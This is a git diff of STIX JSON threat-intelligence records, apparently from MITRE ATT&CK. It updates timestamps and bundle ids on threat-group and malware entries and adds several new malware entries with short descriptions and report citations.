diff --git a/enterprise-attack/intrusion-set/intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c.json b/enterprise-attack/intrusion-set/intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c.json
index 52727b2860..9e3f35553e 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2e7d06ef-dff9-4824-8447-eb5875d6f512",
+    "id": "bundle--8cedc3bb-8c16-436f-8e4f-cd1005cc0086",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:58.518Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Threat Group-3390",
             "description": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b.json b/enterprise-attack/intrusion-set/intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b.json
index e2c3a388e2..3e70d502f5 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a3185b3-bcf4-4afa-9cd6-abb6f71c410a",
+    "id": "bundle--bd71d696-7f8b-49f6-9a70-af54d38c94a7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FIN10",
             "description": "FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647.json b/enterprise-attack/intrusion-set/intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647.json
index 26016281b0..fcfda62ba5 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8f3988ce-3194-45c9-aa01-c9cb90cf2e3c",
+    "id": "bundle--4296bbe7-065c-4c2c-8cb6-5ef19708f288",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:50.198Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PittyTiger",
             "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
             "aliases": [
diff --git a/enterprise-attack/malware/malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b.json b/enterprise-attack/malware/malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b.json
index beead789aa..65fa38489e 100644
--- a/enterprise-attack/malware/malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b.json
+++ b/enterprise-attack/malware/malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--679396ba-936d-49cc-8801-0fc38cd75967",
+    "id": "bundle--1dfd6eff-1727-40f1-be70-e1b383e140ef",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.801Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HDoor",
             "description": "HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)\n\nAliases: HDoor, Custom HDoor",
             "labels": [
diff --git a/enterprise-attack/malware/malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a.json b/enterprise-attack/malware/malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a.json
index 4d2bd14223..648da12bb0 100644
--- a/enterprise-attack/malware/malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a.json
+++ b/enterprise-attack/malware/malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aeb87684-0210-4927-8b0b-49e72216a6fe",
+    "id": "bundle--d8aef09f-c007-472a-bd40-cb0f184e3bce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:19.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PowerDuke",
             "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--083bb47b-02c8-4423-81a2-f9ef58572974.json b/enterprise-attack/malware/malware--083bb47b-02c8-4423-81a2-f9ef58572974.json
index 2fdde92a6a..495a4bbf9c 100644
--- a/enterprise-attack/malware/malware--083bb47b-02c8-4423-81a2-f9ef58572974.json
+++ b/enterprise-attack/malware/malware--083bb47b-02c8-4423-81a2-f9ef58572974.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e89ce0b5-cd3b-45de-a794-b44c6b05f687",
+    "id": "bundle--0a929eac-0014-49af-b540-9d40c39f279f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:59.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Backdoor.Oldrea",
             "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)\n\nAliases: Backdoor.Oldrea, Havex",
             "labels": [
diff --git a/enterprise-attack/malware/malware--08d20cd2-f084-45ee-8558-fa6ef5a18519.json b/enterprise-attack/malware/malware--08d20cd2-f084-45ee-8558-fa6ef5a18519.json
index 11feb08e8f..c81182bb82 100644
--- a/enterprise-attack/malware/malware--08d20cd2-f084-45ee-8558-fa6ef5a18519.json
+++ b/enterprise-attack/malware/malware--08d20cd2-f084-45ee-8558-fa6ef5a18519.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--02612859-2b85-4f78-bd5d-d4c4aabc1d41",
+    "id": "bundle--ebbc4a7d-615b-47f2-970e-930d2aa7d264",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:16.790Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Downdelph",
             "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)\n\nAliases: Downdelph, Delphacy",
             "labels": [
diff --git a/enterprise-attack/malware/malware--0998045d-f96e-4284-95ce-3c8219707486.json b/enterprise-attack/malware/malware--0998045d-f96e-4284-95ce-3c8219707486.json
new file mode 100644
index 0000000000..e31a2c5db7
--- /dev/null
+++ b/enterprise-attack/malware/malware--0998045d-f96e-4284-95ce-3c8219707486.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--b8015613-5479-4a91-8d83-2fdf3c44698b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SEASHARPEE",
+            "description": "is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0185",
+                    "external_id": "S0185"
+                },
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "SEASHARPEE"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46.json b/enterprise-attack/malware/malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46.json
new file mode 100644
index 0000000000..b155c5cb52
--- /dev/null
+++ b/enterprise-attack/malware/malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--0f0b0241-eaa4-4fb1-ac93-a8823819a110",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "POWRUNER",
+            "description": "POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)\n\nAliases: POWRUNER",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0184",
+                    "external_id": "S0184"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "POWRUNER"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3.json b/enterprise-attack/malware/malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3.json
new file mode 100644
index 0000000000..92c79f155c
--- /dev/null
+++ b/enterprise-attack/malware/malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3.json
@@ -0,0 +1,43 @@
+{
+    "type": "bundle",
+    "id": "bundle--d43910a3-68fe-4886-801e-c29fe9cdfe44",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--0a9c51e0-825d-4b9b-969d-ce86ed8ce3c3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Power Loader",
+            "description": "is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nAliases: Power Loader, Win32/Agent.UAW",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0177",
+                    "external_id": "S0177"
+                },
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Power Loader",
+                "Win32/Agent.UAW"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a.json b/enterprise-attack/malware/malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a.json
new file mode 100644
index 0000000000..0aa6a11071
--- /dev/null
+++ b/enterprise-attack/malware/malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--42119012-48d7-4396-8c3a-fedf8a4d3acd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "TDTESS",
+            "description": "is a 64-bit .NET binary backdoor used by CopyKittens. (Citation: ClearSky Wilted Tulip July 2017)\n\nAliases: TDTESS",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0164",
+                    "external_id": "S0164"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "TDTESS"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--0ced8926-914e-4c78-bc93-356fb90dbd1f.json b/enterprise-attack/malware/malware--0ced8926-914e-4c78-bc93-356fb90dbd1f.json
index bea40fd9fb..31ae7c722f 100644
--- a/enterprise-attack/malware/malware--0ced8926-914e-4c78-bc93-356fb90dbd1f.json
+++ b/enterprise-attack/malware/malware--0ced8926-914e-4c78-bc93-356fb90dbd1f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4aa81bf4-486a-4cd8-898c-1ed04621155a",
+    "id": "bundle--4a3bc6da-3e51-4d37-9eeb-a8729f38bc3e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HALFBAKED",
             "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks. (Citation: FireEye FIN7 April 2017)\n\nAliases: HALFBAKED",
             "labels": [
diff --git a/enterprise-attack/malware/malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039.json b/enterprise-attack/malware/malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039.json
index 0bc3c80168..2590fd39bd 100644
--- a/enterprise-attack/malware/malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039.json
+++ b/enterprise-attack/malware/malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--62cdfbac-6c3f-439c-94c8-083e3890a671",
+    "id": "bundle--82c7a193-4e5f-4ba6-81ef-c61edddd5e54",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:55.126Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Misdat",
             "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)\n\nAliases: Misdat",
             "labels": [
diff --git a/enterprise-attack/malware/malware--0e18b800-906c-4e44-a143-b11c72b3448b.json b/enterprise-attack/malware/malware--0e18b800-906c-4e44-a143-b11c72b3448b.json
new file mode 100644
index 0000000000..e6aef6d298
--- /dev/null
+++ b/enterprise-attack/malware/malware--0e18b800-906c-4e44-a143-b11c72b3448b.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--b4502329-229b-4a20-9a8d-b0c83720096b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FLIPSIDE",
+            "description": "is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0173",
+                    "external_id": "S0173"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FLIPSIDE"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1.json b/enterprise-attack/malware/malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1.json
index de318e7cb1..b08e652256 100644
--- a/enterprise-attack/malware/malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1.json
+++ b/enterprise-attack/malware/malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2d9e1357-02e9-4049-bbb9-58a80704e919",
+    "id": "bundle--f5f15d27-11c8-4e3a-be0f-d3e4e4c9985c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.772Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Emissary",
             "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)\n\nAliases: Emissary",
             "labels": [
diff --git a/enterprise-attack/malware/malware--123bd7b3-675c-4b1a-8482-c55782b20e2b.json b/enterprise-attack/malware/malware--123bd7b3-675c-4b1a-8482-c55782b20e2b.json
index 587bb5e4af..b4ea1fcdec 100644
--- a/enterprise-attack/malware/malware--123bd7b3-675c-4b1a-8482-c55782b20e2b.json
+++ b/enterprise-attack/malware/malware--123bd7b3-675c-4b1a-8482-c55782b20e2b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--54d07ecd-c004-4d1e-9e18-ec2f54dfdf7e",
+    "id": "bundle--f8070a67-41f1-485b-8bb8-6a93441dde7c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:33.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BUBBLEWRAP",
             "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper",
             "labels": [
diff --git a/enterprise-attack/malware/malware--166c0eca-02fd-424a-92c0-6b5106994d31.json b/enterprise-attack/malware/malware--166c0eca-02fd-424a-92c0-6b5106994d31.json
index e15843e704..a335999d25 100644
--- a/enterprise-attack/malware/malware--166c0eca-02fd-424a-92c0-6b5106994d31.json
+++ b/enterprise-attack/malware/malware--166c0eca-02fd-424a-92c0-6b5106994d31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6a82f5a1-9a50-47c5-ac56-b9e609dacca9",
+    "id": "bundle--259240f5-e0ca-44df-b4be-8130ab08c586",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:56.394Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ZLib",
             "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)\n\nAliases: ZLib",
             "labels": [
diff --git a/enterprise-attack/malware/malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5.json b/enterprise-attack/malware/malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5.json
index 447da800ec..d7c0453d0e 100644
--- a/enterprise-attack/malware/malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5.json
+++ b/enterprise-attack/malware/malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d7af317-d5de-4a70-8e40-f1c5c545bb04",
+    "id": "bundle--79d28a37-9fb7-4c2f-9d99-9b736206530d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RedLeaves",
             "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)\n\nAliases: RedLeaves, BUGJUICE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234.json b/enterprise-attack/malware/malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234.json
index 402a77de20..5399435dc1 100644
--- a/enterprise-attack/malware/malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234.json
+++ b/enterprise-attack/malware/malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--533c255f-f377-40f5-a1c6-8a0ab85a75ae",
+    "id": "bundle--c48575be-7674-4603-b6f7-c7a4c13fc23a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:16.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Miner-C",
             "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner",
             "labels": [
diff --git a/enterprise-attack/malware/malware--17e919aa-4a49-445c-b103-dbb8df9e7351.json b/enterprise-attack/malware/malware--17e919aa-4a49-445c-b103-dbb8df9e7351.json
index 0a62bf87e4..5857043525 100644
--- a/enterprise-attack/malware/malware--17e919aa-4a49-445c-b103-dbb8df9e7351.json
+++ b/enterprise-attack/malware/malware--17e919aa-4a49-445c-b103-dbb8df9e7351.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ed9bd710-12b1-4e83-b002-155107516908",
+    "id": "bundle--4dad5421-d28e-411f-a13c-99e228a0cb77",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:24.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "POWERSOURCE",
             "description": "POWERSOURCE is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)\n\nAliases: POWERSOURCE, DNSMessenger",
             "labels": [
diff --git a/enterprise-attack/malware/malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1.json b/enterprise-attack/malware/malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1.json
new file mode 100644
index 0000000000..be0371d141
--- /dev/null
+++ b/enterprise-attack/malware/malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1.json
@@ -0,0 +1,42 @@
+{
+    "type": "bundle",
+    "id": "bundle--2481dc98-d787-4427-8008-e519d2f77750",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Felismus",
+            "description": "is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0171",
+                    "external_id": "S0171"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                },
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
